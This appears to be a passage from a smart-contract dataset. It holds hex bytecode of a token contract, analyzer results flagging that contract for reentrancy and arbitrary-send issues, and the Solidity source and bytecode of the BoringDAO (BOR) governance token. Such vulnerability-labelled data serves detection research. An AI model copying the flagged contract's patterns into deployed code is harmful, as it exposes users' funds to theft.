fffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206c11405092097935139b74b3b659178b39abcde48e156202abcbc9c3b6468f9c64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,841 |
0x3c9d6c1c73b31c837832c72e04d3152f051fc1a9
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
contract Bor {
/// @notice EIP-20 token name for this token
string public constant name = "BoringDAO";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "BOR";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 200_000e18;
/// @dev Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @dev Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Comp token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "BOR::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "BOR::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "BOR::permit: invalid signature");
require(signatory == owner, "BOR::permit: unauthorized");
require(now <= deadline, "BOR::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function increaseAllowance(address spender, uint rawAddAmount) external returns (bool) {
uint96 addAmount = safe96(rawAddAmount, "BOR::approve: amount exceeds 96 bits");
uint96 amount = add96(allowances[msg.sender][spender], addAmount, "BOR::increaseAllowance: increase allowance exceeds 96 bits");
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function decreaseAllowance(address spender, uint256 rawSubAmount) external returns (bool) {
uint96 subAmount = safe96(rawSubAmount, "BOR::approve: amount exceeds 96 bits");
uint96 amount = sub96(allowances[msg.sender][spender], subAmount, "BOR::decreaseAllowance: decrease subAmount > allowance");
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "BOR::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "BOR::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "BOR::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "BOR::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "BOR::delegateBySig: invalid nonce");
require(now <= expiry, "BOR::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "BOR::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "BOR::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "BOR::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "BOR::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "BOR::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "BOR::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "BOR::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "BOR::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063b4b5ea571161007c578063b4b5ea57146102b9578063c3cda520146102cc578063d505accf146102df578063dd62ed3e146102f2578063e7a324dc14610305578063f1127ed81461030d5761014d565b806370a0823114610245578063782d6fe1146102585780637ecebe001461027857806395d89b411461028b578063a457c2d714610293578063a9059cbb146102a65761014d565b806330adf81f1161011557806330adf81f146101c0578063313ce567146101c857806339509351146101dd578063587cde1e146101f05780635c19a95c146102105780636fcfff45146102255761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd1461019057806320606b70146101a557806323b872dd146101ad575b600080fd5b61015a61032e565b60405161016791906118eb565b60405180910390f35b61018361017e36600461174c565b610353565b604051610167919061183d565b6101986103fe565b6040516101679190611848565b61019861040c565b6101836101bb3660046116a0565b610430565b610198610561565b6101d0610585565b6040516101679190611bde565b6101836101eb36600461174c565b61058a565b6102036101fe366004611651565b610672565b6040516101679190611829565b61022361021e366004611651565b61068d565b005b610238610233366004611651565b61069a565b6040516101679190611bae565b610198610253366004611651565b6106b2565b61026b61026636600461174c565b6106d6565b6040516101679190611bec565b610198610286366004611651565b6108ed565b61015a6108ff565b6101836102a136600461174c565b61091e565b6101836102b436600461174c565b610996565b61026b6102c7366004611651565b6109d2565b6102236102da366004611776565b610a43565b6102236102ed3660046116e0565b610c4a565b61019861030036600461166c565b610f3a565b610198610f6c565b61032061031b3660046117cf565b610f90565b604051610167929190611bbf565b60405180604001604052806009815260200168426f72696e6744414f60b81b81525081565b600080600019831415610369575060001961038e565b61038b83604051806060016040528060248152602001611df260249139610fc5565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b0386161790559051909190600080516020611dd2833981519152906103ea908590611bec565b60405180910390a360019150505b92915050565b692a5a058fc295ed00000081565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602480845291936001600160601b039091169285926104869288929190611df290830139610fc5565b9050866001600160a01b0316836001600160a01b0316141580156104b357506001600160601b0382811614155b156105495760006104dd83836040518060600160405280603c8152602001611cb6603c9139610ff4565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b038616179055519293509091600080516020611dd28339815191529061053f908590611bec565b60405180910390a3505b610554878783611033565b5060019695505050505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b6000806105af83604051806060016040528060248152602001611df260249139610fc5565b336000908152602081815260408083206001600160a01b0389168452825280832054815160608101909252603a8083529495509293610602936001600160601b03169286929190611c57908301396111de565b336000818152602081815260408083206001600160a01b038b1680855292529182902080546001600160601b0319166001600160601b038616179055905192935091600080516020611dd28339815191529061065f908590611bec565b60405180910390a3506001949350505050565b6002602052600090815260409020546001600160a01b031681565b610697338261121a565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600160205260409020546001600160601b031690565b60004382106107005760405162461bcd60e51b81526004016106f7906119b6565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff168061072e5760009150506103f8565b6001600160a01b038416600090815260036020908152604080832063ffffffff6000198601811685529252909120541683106107aa576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b031690506103f8565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff168310156107e55760009150506103f8565b600060001982015b8163ffffffff168163ffffffff1611156108a857600282820363ffffffff16048103610817611612565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b03169181019190915290871415610883576020015194506103f89350505050565b805163ffffffff1687111561089a578193506108a1565b6001820392505b50506107ed565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b604051806040016040528060038152602001622127a960e91b81525081565b60008061094383604051806060016040528060248152602001611df260249139610fc5565b336000908152602081815260408083206001600160a01b038916845282528083205481516060810190925260368083529495509293610602936001600160601b03169286929190611e1690830139610ff4565b6000806109bb83604051806060016040528060258152602001611c9160259139610fc5565b90506109c8338583611033565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff16806109fd576000610a3c565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03165b9392505050565b604080518082019091526009815268426f72696e6744414f60b81b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667f34154ed6ef0b63636b364e64c74e8c31ae80a48abd61c40c2e8f0fa3ac223719610ab06112a4565b30604051602001610ac494939291906118a9565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf888888604051602001610b159493929190611885565b60405160208183030381529060405280519060200120905060008282604051602001610b4292919061180e565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610b7f94939291906118cd565b6020604051602081039080840390855afa158015610ba1573d6000803e3d6000f